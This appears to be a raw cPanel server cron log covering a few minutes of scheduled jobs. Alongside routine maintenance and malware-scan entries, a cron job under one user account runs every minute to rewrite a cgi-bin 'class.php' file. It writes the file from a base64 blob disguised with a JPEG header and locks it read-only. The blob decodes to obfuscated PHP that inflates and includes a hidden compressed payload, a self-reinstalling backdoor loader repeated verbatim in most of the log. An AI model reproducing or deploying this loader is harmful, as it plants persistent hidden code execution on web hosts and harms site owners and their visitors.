Sep 11 20:44:01 server CROND[23229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:44:01 server CROND[23230]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:45:01 server CROND[23624]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:45:01 server CROND[23629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:45:01 server CROND[23631]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 20:45:01 server CROND[23635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:45:01 server CROND[23636]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 20:45:01 server CROND[23634]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 20:45:01 server CROND[23633]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 20:46:01 server CROND[24566]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:46:01 server CROND[24567]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:46:01 server CROND[24568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:47:01 server CROND[24951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:47:01 server CROND[24952]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:47:01 server CROND[24953]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:48:01 server CROND[25336]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:48:01 server CROND[25337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:48:01 server CROND[25338]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:49:01 server CROND[25715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:49:01 server CROND[25716]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:49:01 server CROND[25714]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:50:01 server CROND[26101]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 20:50:01 server CROND[26104]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 20:50:01 server CROND[26108]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 20:50:01 server CROND[26109]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:50:01 server CROND[26106]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 20:50:01 server CROND[26115]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 20:50:01 server CROND[26107]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:50:01 server CROND[26117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:50:01 server CROND[26112]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 20:51:01 server CROND[26951]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:51:01 server CROND[26952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:51:01 server CROND[26955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:52:01 server CROND[27430]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:52:01 server CROND[27431]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:52:01 server CROND[27432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:53:01 server CROND[27806]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:53:01 server CROND[27807]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:53:01 server CROND[27808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:54:01 server CROND[28189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:54:01 server CROND[28190]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:54:01 server CROND[28191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:55:01 server CROND[28575]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 20:55:01 server CROND[28577]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 20:55:01 server CROND[28578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 20:55:01 server CROND[28579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 20:55:01 server CROND[28581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 20:55:01 server CROND[28582]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 20:55:01 server CROND[28584]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
